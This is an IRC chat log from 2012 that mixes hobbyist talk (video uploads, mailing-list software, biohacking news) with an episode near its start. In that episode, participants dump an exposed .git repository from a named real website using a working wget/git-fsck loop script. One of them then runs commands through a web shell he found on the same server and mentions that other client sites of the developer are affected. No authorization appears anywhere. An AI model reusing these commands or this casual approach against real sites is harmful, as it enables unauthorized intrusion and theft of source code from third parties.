| jrayhawk | i am imagining some dumb thing involving a proxy faking info/refs | 11:05 |
| jrayhawk | but it seems like it should be easier than that | 11:05 |
| kanzure | huh? proxy? | 11:06 |
| jrayhawk | jrayhawk@richardiv:~/src/acswhyi$ git fetch http://www.acswhyi.com/.git/ master | 11:06 |
| jrayhawk | fatal: http://www.acswhyi.com/.git/info/refs not found: did you run git update-server-info on the server? | 11:06 |
| kanzure | it's not a git server obviously, just their .git laying around | 11:07 |
| jrayhawk | 11:04 < jrayhawk> how are you kicking off the traversal, by the by? | 11:07 |
| kanzure | i don't understand enough git internals. i thought you meant "how are you getting these errors?". | 11:08 |
| jrayhawk | i suppose those questions probably have equivalent answers | 11:08 |
| jrayhawk | so either one would do! | 11:08 |
| nmz787 | so where can i upload the video of my talk? | 11:09 |
| jrayhawk | gnusha's probably fine | 11:09 |
| nmz787 | 3.8gb? | 11:09 |
| kanzure | nmz787: i could upload it to my youtube account if you want, but you'd have to upload it to gnusha first | 11:09 |
| nmz787 | what about bandwidth | 11:09 |
| kanzure | gnusha doesn't have 3.8 GB available | 11:09 |
| kanzure | bandwidth is not an issue | 11:09 |
| jrayhawk | i can bump size up again | 11:10 |
| kanzure | oh wait, 34 GB available. i cleaned up yesterday. go ahead. | 11:10 |
| nmz787 | I don't understand why my stupid video of the simpsons screwed my account, but you can find 1000s of simpsons videos on youtub | 11:10 |
| kanzure | some of those videos are posted by the content owners | 11:11 |
| nmz787 | i even had another youtube account, just made another gmail to associate it with (because I havent used it in 4 years) and it knows that I'm the same person (prob because of same backup email and phone num) | 11:11 |
| kanzure | or because you didn't clear your cookies | 11:12 |
| kanzure | nmz787: on gnusha, type google --help | 11:13 |
| kanzure | try "google contacts list bryan" | 11:14 |
| nmz787 | oh well vimeo only gives 500mb for free | 11:14 |
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| kanzure | nmz787: i think i can upload a larger video to youtube. what is the video anyway? | 11:16 |
| nmz787 | does my gnusha user have enough space alloted? | 11:16 |
| nmz787 | of my genspace talk | 11:16 |
| nmz787 | gosh this internet is slow | 11:17 |
| nmz787 | 4.5 hrs remaining | 11:17 |
| nmz787 | to upload | 11:17 |
| kanzure | it's all shared space.. it's not an allotment issue | 11:17 |
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| kanzure | jrayhawk: what else can i do with this "partially reconstructed" .git repo? | 11:18 |
| kanzure | besides look at commit messages | 11:18 |
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| jrayhawk | well, presumably you can at least partially reconstruct the tree | 11:19 |
| kanzure | "git checkout" has been puking all over the place | 11:19 |
| kanzure | or it checks it out, but "git diff" shows that the current working directory has everything deleted | 11:19 |
| jrayhawk | 11:07 < jrayhawk> 11:04 < jrayhawk> how are you kicking off the traversal, by the by? | 11:20 |
| kanzure | i'm still confused. how do i answer that? | 11:20 |
| jrayhawk | well, you don't seem to be traversing the objects by hand | 11:20 |
| jrayhawk | so presumably you ran a command | 11:21 |
| kanzure | http://diyhpl.us/~bryan/irc/acs/gitrepo.zip if anyone wants to "play along at home" | 11:21 |
| kanzure | well, i'm trying various normal things like "git log", "git log -p", "git show commit-id", etc. | 11:21 |
| kanzure | git checkout terms.html | 11:22 |
| kanzure | error: git checkout-index: unable to read sha1 file of terms.html (132947b146054f7fc880b05f42e843e9d5f5d718 | 11:22 |
| kanzure | ok i seem to not have that object. when i fetch that object, "git checkout terms.html" works and i get a file. | 11:22 |
| kanzure | so presumably there should be some way to get a list of objects i'm missing | 11:24 |
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| jrayhawk | git fsck | 11:57 |
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| jrayhawk | so, procedure would be something like git fsck | head to make sure there are no showstoppers, then | 12:07 |
| jrayhawk | for REF in $(git fsck 2>&1 | perl -pe 's/.+([0-9a-f]{40}).*/\1/'); do export PATHREF=$(echo $REF | perl -pe 's/(.{2})(.{38})/\1\/\2/'); if ! [ -e .git/objects/$PATHREF ]; then mkdir -p .git/objects/$(echo $PATHREF | perl -pe 's/(..).+/\1/'); wget -c -O .git/objects/$PATHREF http://www.acswhyi.com/.git/objects/$PATHREF; fi; done | 12:07 |
| kanzure | you take the fun out of everything | 12:08 |
| kanzure | I WAS GOING TO GET TO IT | 12:08 |
| kanzure | heheh. | 12:08 |
| kanzure | it's going. | 12:09 |
| jrayhawk | i guess i should've put a sort -u in there | 12:10 |
| kanzure | screw this guy for including an 80 MB images.tar.gz, bwt | 12:10 |
| kanzure | *btw | 12:10 |
| jrayhawk | and i should construct all those URLs and shove them into a temp file for a persistent http client | 12:11 |
| jrayhawk | does wget or curl do connection persistance? | 12:11 |
| jrayhawk | persistence | 12:11 |
| kanzure | it's ok i found this: | 12:12 |
| kanzure | curl http://acswhyi.com/plupload/examples/uploads/shell2.php?c=ls%20-la | 12:12 |
| jrayhawk | apparently wget does | 12:12 |
| jrayhawk | ahahaha | 12:12 |
| kanzure | someone's been here before methinks | 12:12 |
| jrayhawk | man, that hurts a little | 12:13 |
| kanzure | the other day i was poking around in someone's images/ directory | 12:13 |
| kanzure | and found a .svn folder | 12:13 |
| kanzure | this is where i got the idea from. | 12:13 |
| jrayhawk | welp, pretty easy to get a tar file for the entire filesystem from there, so i guess i should give up on the git thing | 12:14 |
| kanzure | i don't see anything interesting, sadly | 12:14 |
| kanzure | thanks for git fsck :\ | 12:17 |
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| nmz787 | what's a .DS store file? | 12:32 |
| jrayhawk | either Finder or Explorer metadata; i forget which | 12:32 |
| kanzure | mac osx leaves .DS_Store around for pre-rendered icons and other crap | 12:32 |
| jrayhawk | ah, Finder | 12:33 |
| kanzure | and people forget to remove that file when uploading compressed archives or using git | 12:33 |
| nmz787 | did you find anything? | 12:33 |
| kanzure | well i have their source code for that site now | 12:33 |
| kanzure | and a shell into the remote server, apparently.. | 12:33 |
| kanzure | jrayhawk: i still get "fatal: unable to read tree 558dbf9ac387a56b529ac68a540ade8e27eb5bf1" when i run "git checkout master" and "git fsck" still lists things (lots of trees) | 12:34 |
| kanzure | and broken links between trees/blobs | 12:34 |
| jrayhawk | Yeah, you'll have to run it in a loop until you traverse back to the original commit. | 12:35 |
| jrayhawk | you can't possibly know what objects to download until you've downloaded the objects referencing them. | 12:35 |
| kanzure | hm yeah i was wondering why i wasn't getting "file already downloaded" errors. i see. | 12:36 |
| jrayhawk | well, and I do a [ -e ] | 12:36 |
| kanzure | eh i was manually doing a few wgets in between | 12:36 |
| jrayhawk | apparently -P does nothing. thanks wget. | 12:37 |
| kanzure | i think this is a candidate for the tom lehrer git song | 12:37 |
| kanzure | "the new git" | 12:37 |
| kanzure | "you can't take blob from tree so you look into the reflog and you get 648dbf9ac387a56b529ac68a540ade8e27eb5bf1" | 12:37 |
| JayDugger | Lehrer's The Elements at https://github.com/jedp/The-Elements | 12:41 |
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| kanzure | not bad. | 12:43 |
| jrayhawk | this is probably somewhat faster: | 12:51 |
| jrayhawk | for REF in $( git fsck 2>&1 | perl -pe 's/.+([0-9a-f]{40}).*/\1/' | sort -u ); do export PATHREF=$( echo $REF | perl -pe 's/(.{2})(.{38})/\1\/\2/' ); if ! [ -e .git/objects/$PATHREF ]; then mkdir -p .git/objects/$( echo $PATHREF | perl -pe 's/(..).+/\1/' ); echo http://www.acswhyi.com/.git/objects/$PATHREF; fi; done | wget -x -c -nH -i - | 12:51 |
| jrayhawk | it's really dumb that git is unwilling to do that on its own. | 12:54 |
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| kanzure | yeah it's been done for a while, sorry i wasn't explicit about that | 12:56 |
| kanzure | https://github.com/fathomcreative?tab=activity | 13:04 |
| kanzure | oh man this same thing shows up on their other sites | 13:08 |
| kanzure | fantastic. | 13:08 |
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| Juul | what's this fathom creative thing? | 13:16 |
| Juul | ah, i see they have some interesting clients | 13:19 |
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| kanzure | one of them is a "security company".. pfft | 13:21 |
| kanzure | these people are the worst http://paxton.com/_attachments/docs/services/team%20paxton.pdf | 13:38 |
| kanzure | oh wait that's not the developers | 13:38 |
| kanzure | http://paxton.com/htaccess.txt | 13:39 |
| Juul | i feel like listening to chip music in a hammock and watching someone play ikaruga while i code | 13:50 |
| Juul | good thing it's almost weekend | 13:50 |
| kanzure | you have excellent choice in gaming | 13:54 |
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| brownies | ah, man. that game was well-designed. | 13:58 |
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| Juul | :) | 14:08 |
| Juul | i used to have an old crt tv that was permanently on its side for that reason back in my office in denmark | 14:09 |
| kanzure | ybit is our resident chiptune expert, so bug him for stuff | 14:16 |
| Juul | cool | 14:17 |
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| kanzure | http://developer.chrome.com/extensions/experimental.devtools.audits.html | 15:39 |
| kanzure | http://darcyclarke.me/design/skin-your-chrome-inspector/ | 15:40 |
| kanzure | "ir black" skin https://gist.github.com/1150520 | 15:41 |
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| skorket | evening all | 15:52 |
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| streety | evening | 16:07 |
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| skorket | that rosalind sight's pretty neat | 16:29 |
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| kanzure | "Nasa plans to use biobricks and urine to build homes on Mars | 16:53 |
| kanzure | .. how? do they have a license? | 16:53 |
| yashgaroth | I bet the nasa igem team is pretty competitive | 16:53 |
| kanzure | i bet it's just john cumbers. a team of one. | 16:54 |
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| kanzure | http://en.wikipedia.org/wiki/List_of_DNA_tested_mummies | 17:11 |
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| nmz787 | kanzure: video is in my home dir | 18:06 |
| nmz787 | .3gp | 18:06 |
| nmz787 | i moved it to my files folder | 18:06 |
| kanzure | hmm one sec | 18:11 |
| kanzure | nmz787: title? | 18:11 |
| kanzure | nmz787: also: summary? | 18:11 |
| brownies | kanzure: wtf? o.O | 18:12 |
| kanzure | brownies: ? | 18:12 |
| brownies | kanzure: nasa is building homes on mars? | 18:13 |
| kanzure | i quoted the title because it was ridiculous. biobricks aren't available to anyone who wants them, and homes on mars is only mildly less plausible. | 18:14 |
| brownies | kanzure: source? | 18:15 |
| kanzure | source for what? | 18:16 |
| kanzure | wtf is a devkey? why does googlecl require that all of the sudden. | 18:18 |
| nmz787 | kanzure: biobricks are available as txt now | 18:20 |
| nmz787 | title: Intro to DNA, DNA synthesis, and microfluidics | 18:20 |
| nmz787 | summary: | 18:21 |
| nmz787 | Nathan McCorkle speaking at Genspace on Thursday October 4th 2012. Hosted by Genspace and Biohackers-NYC Meetup.com group. | 18:21 |
| nmz787 | genspace.org | 18:21 |
| nmz787 | www.meetup.com/Biohackers-NYC/ | 18:21 |
| nmz787 | Also see: | 18:21 |
| nmz787 | Classical and Quantum Information in DNA (Google Workshop on Quantum Biology) | 18:21 |
| nmz787 | http://www.youtube.com/watch?v=2nqHOnVTxJE | 18:21 |
| * pasky cheers kanzure on his push against google groups | 18:21 | |
| kanzure | pasky: i think they should shoot whoever fucked up their url schema | 18:21 |
| kanzure | they had perfectly beautiful urls before | 18:21 |
| kanzure | and if the email appeared on more than one mailing list, the urls would share the same thread id :) | 18:21 |
| pasky | i never actually used the google groups web interface... in the few cases i've been involved, i just try to use them as mailinglist subscription interfaces | 18:22 |
| pasky | that said, some smart+pretty layer over mailman for people not so used to email would be awesome... hmm, maybe i should offer that as a student project | 18:23 |
| kanzure | mailman's codebase is pretty bad, if you go look | 18:24 |
| nmz787 | what happened with google groups? | 18:24 |
| kanzure | nmz787: the hackerspaces foundation was thinking of transitioning to google groups instead of their mailing list server | 18:24 |
| kanzure | but i told them they probably shouldn't, since google has been screwing up their google groups product a lot, and a lot of the mailing list features have been given the finger.. | 18:25 |
| nmz787 | ahh | 18:25 |
| brownies | kanzure: source for your quote | 18:25 |
| brownies | you know, the thing we were talking about when i said "source" | 18:26 |
| jrayhawk | pasky: sympa is sorta decent for providing an unintimidating web interface | 18:26 |
| jrayhawk | and having better features and scalability than mailman | 18:26 |
| kanzure | brownies: it's a news site, and i'm ashamed to link to news sites. | 18:26 |
| jrayhawk | the codebase is waaaaay more horrifying, though, which is saying something | 18:26 |
| kanzure | brownies: http://www.wired.co.uk/news/archive/2012-10/05/mars-bacteria-bricks | 18:27 |
| kanzure | yeah, a lot of mailing list software seems to suck pretty hard | 18:27 |
| jrayhawk | i want an nntp/web/email system | 18:27 |
| jrayhawk | alue is close | 18:27 |
| kanzure | and i'm super tired of hearing the "mailing lists vs. forums" flamewars. when people provide a mail2forum gateway, it turns out those asshole users don't even use the forum. | 18:27 |
| brownies | uh ... hmmm ... | 18:28 |
| nmz787 | lol | 18:28 |
| brownies | is it really a bright idea to throw a bajillion microbes onto a new planet? | 18:28 |
| kanzure | people /might/ be using the google groups web interface, but i have no godly idea why. why would i want to edit my content in a browser? | 18:28 |
| nmz787 | brownies: why not | 18:28 |
| kanzure | brownies: bah no better way to learn than to fuck up a planet | 18:28 |
| brownies | you know, delicate balance of Mother Earth and all that shit | 18:28 |
| nmz787 | kanzure: you edit email in a browser dont you | 18:28 |
| brownies | or, Aunt Mars, in this case | 18:28 |
| kanzure | nmz787: only sometimes. | 18:29 |
| nmz787 | kanzure: i do exclusively | 18:29 |
| kanzure | nmz787: because you're crazy like that. | 18:29 |
| kanzure | you're more able to tolerate bullshit than i am, i think | 18:29 |
| nmz787 | i already have browsers open, why not one more | 18:29 |
| kanzure | you also tolerate windows, for instance. | 18:29 |
| nmz787 | does that article have to do with john cumbers kanzure? | 18:29 |
| nmz787 | because who else at NASA would mention 'biobrick' | 18:30 |
| kanzure | no it's not about john cumbers, but yeah he's the only guy at nasa i can think of | 18:30 |
| kanzure | why isn't there a nasa mascot? | 18:31 |
| kanzure | it could be a little space alien or something | 18:31 |
| kanzure | and it could cheer at launch events | 18:32 |
| jrayhawk | kanzure: if'n you ever want, i can slap up sympa vhosts pretty fast these days | 18:32 |
| jrayhawk | so diyhpl.us and friends can have mailing lists | 18:32 |
| kanzure | i was just going to wait until you roll it into piny | 18:32 |
| jrayhawk | ah | 18:32 |
| jrayhawk | that thing i should've done years ago | 18:32 |
| kanzure | communication isn't a bottleneck that diyhpl.us is currently experiencing | 18:34 |
| kanzure | http://povesham.wordpress.com/2012/10/05/biohacking-igem-and-the-limits-of-citizen-science/ | 18:35 |
| kanzure | http://hplusmagazine.com/2012/10/05/biopunk-and-biohacking-status-update/ | 18:35 |
| nmz787 | kanzure: you should cross-post this http://www.disneyresearch.com/research/projects/PrintedOptics/printedoptics-paper.pdf | 18:36 |
| nmz787 | that first link really doesnt seem to mention anything about limits | 18:37 |
| nmz787 | jrayhawk: any tips for where I can look for part-time work in pdx? | 18:38 |
| nmz787 | or preferably wash co | 18:38 |
| nmz787 | other than craigslist | 18:38 |
| nmz787 | i think i'll try walking into genentech | 18:39 |
| kanzure | bkero: how were you choosing to re-encode those videos earlier? some mencoder flags? | 18:39 |
| * nmz787 'hi i'm a crazy mad scientist type' | 18:39 | |
| brownies | what kind of work nmz787 ? | 18:40 |
| gnusha | diyhpluswiki.git: a3c183a two more articles on biohacking | 18:41 |
| kanzure | nmz787: ok i stored a copy http://diyhpl.us/~bryan/papers2/Printed%20optics%20-%203d%20printing%20for%20embedded%20optical%20elements%20for%20interactive%20devices.pdf | 18:41 |
| nmz787 | brownies: anything from bio/chem to digging/repairing hiking trail | 18:42 |
| nmz787 | I don't think I'm burly enough to become a logger, and I don't think jobs like that would be so close to home | 18:43 |
| nmz787 | I could also do computer stuff, but I don't want to be some sys admin, it would have to be EE related or machine vision/learning related | 18:43 |
| nmz787 | or just general electronics tech | 18:44 |
| brownies | -_- | 18:44 |
| brownies | clearly you should engineer a robot that uses computer-vision to spray out a stream of genetically engineered bacteria that can clean hiking trails. | 18:45 |
| nmz787 | :D | 18:45 |
| bkero | kanzure: for inputfile in *.mov; do mencoder $inputfile -ovc x264 -oac mp3lame -o ${inputfile/mov/m4v}; done | 18:47 |
| bkero | 1.1gb to 129mb | 18:47 |
| * kanzure pushes some bits around | 18:49 | |
| nmz787 | kanzure: its already H264 | 18:50 |
| nmz787 | the video i uploaded | 18:50 |
| nmz787 | 720P H.264, should upload fine to youtube, if >15 mins files are enabled for your account | 18:51 |
| kanzure | your video is still being uploaded. googlecl's --verbose isn't very verbose and i can't tell if it's done uploading and just hanging, or not. :( | 18:54 |
| brownies | do not question the mighty google | 18:57 |
| kanzure | apparently google axed official maintainership of it http://code.google.com/p/googlecl/ | 18:58 |
| kanzure | and now it's just some poor sap's 20% time | 18:58 |
| nmz787 | did it give you a link? | 18:58 |
| kanzure | iirc it doesn't give a link. my youtube dashboard on the web is showing the video though. it's "being processed". | 18:59 |
| nmz787 | ahh, ok | 18:59 |
| nmz787 | it shows that while uploading too | 18:59 |
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| kanzure | nmz787: http://www.youtube.com/watch?v=b6zpEyDvdRA | 19:44 |
| kanzure | dunno when it finished.. i should have prefixed that googlecl command with 'time'. | 19:45 |
| nmz787 | hey its not in 720 | 19:54 |
| nmz787 | u got it wrong | 19:54 |
| kanzure | it's the exact version you gave me | 19:54 |
| nmz787 | nah man | 19:54 |
| kanzure | youtube might still be "processing" the video. whatever that means :) | 19:54 |
| nmz787 | 1280x720 | 19:55 |
| nmz787 | hmm | 19:55 |
| nmz787 | hey can you edit the summary and title | 19:56 |
| nmz787 | to the ones I sent you earlier | 19:56 |
| nmz787 | there were links and stuff | 19:56 |
| kanzure | okay. the wording up there at the moment was just the stuff i passed through the command line originally. | 19:57 |
| kanzure | Nathan McCorkle talks about DIY DNA synthesis at Genspace amongst some biohackers, I guess. | 19:59 |
| kanzure | ok updated | 20:01 |
| kanzure | oops. why did i paste that? | 20:06 |
| nmz787 | cool it's in 720P now | 21:17 |
| kanzure | the system works! | 21:18 |
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| kanzure | "Branislav Misovic has subscribed to you on YouTube" | 21:22 |
| kanzure | nmz787: who is this person | 21:22 |
| kanzure | "and work by a South Korean cloning expert who later was convicted in court of embezzlement and illegally buying human eggs for research" | 21:37 |
| kanzure | does anyone have a link to the court docs for that one? | 21:37 |
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| kanzure | and just because some jerk will ask, that quote is from http://www.washingtonguardian.com/study-fraud-growing-scientific-research-papers | 21:37 |
| kanzure | i think this was hwang wosilk or something. i can't remember. | 21:38 |
| kanzure | http://en.wikipedia.org/wiki/Hwang_Woo-suk | 21:39 |
| kanzure | baller "However, the project was canceled when civil war started there.[6]" | 21:39 |
| yashgaroth | because when I think cutting-edge stem cell research, I think libya | 21:42 |
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| kanzure | user123abc: hi | 21:53 |
| user123abc | hi there | 21:53 |
| nmz787 | kanzure: dunno who he is, he maybe on thr meetup.com biohsckers nyc group | 21:56 |
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| kanzure | ronsunrise: hi | 22:04 |
| ronsunrise | hi, first time in here | 22:04 |
| kanzure | welcome. what brings you here? | 22:05 |
| ronsunrise | just looking for new ideas i guess. | 22:07 |
| kanzure | we're fresh out of those. | 22:07 |
| ronsunrise | what is the best quality nootropic i can get? | 22:08 |
| ronsunrise | i took piracetam awhile back | 22:08 |
| Mokstar | NZT-48 | 22:10 |
| kanzure | Mokstar: not helpful | 22:10 |
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| Mokstar | Sorry :( | 22:16 |
| Mokstar | A bit tired of noot-noobs not doing any sort of research. | 22:17 |
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| Phagus | Nice, H+ has maintained its IRC presence. | 22:39 |
| kanzure | hardly. | 22:51 |
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| kanzure | what is it with these people today | 22:51 |
| user123abc | hey, I'm still here | 22:52 |
| kanzure | you'll probably leave me like everyone else | 22:52 |
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| JayDugger | Nonsense. You can't escape the permanent reunion of Facebook. | 23:14 |
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| skorket | :( | 23:17 |
| JayDugger | Hmm...Keith Lofstrom keeps working on ServerSky and launch loops. | 23:19 |
| JayDugger | (No answer yet from Patrick Gunkel. Snail mail might not have worked.) | 23:20 |
| JayDugger | "Optimism is a fundraising tool, not an engineering material." | 23:21 |
| JayDugger | On the other hand, Lofstrom also wrote "I can't tell you how much a launch loop will cost, but I can tell you how to make hundreds of billions of dollars developing the technologies that will lead to it. " | 23:23 |
| JayDugger | A few paragraphs in, Lofstrom says "Nuclear power frightens people." Later, in the same NBF interview he discusses space-based solar power. (Yeah, as if that won't scare the timid.) | 23:28 |
| Mokstar | I like the roving death beam one | 23:35 |
| JayDugger | Yeah...power density matters. | 23:36 |
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| --- Log closed Sat Oct 06 00:00:47 2012 | ||
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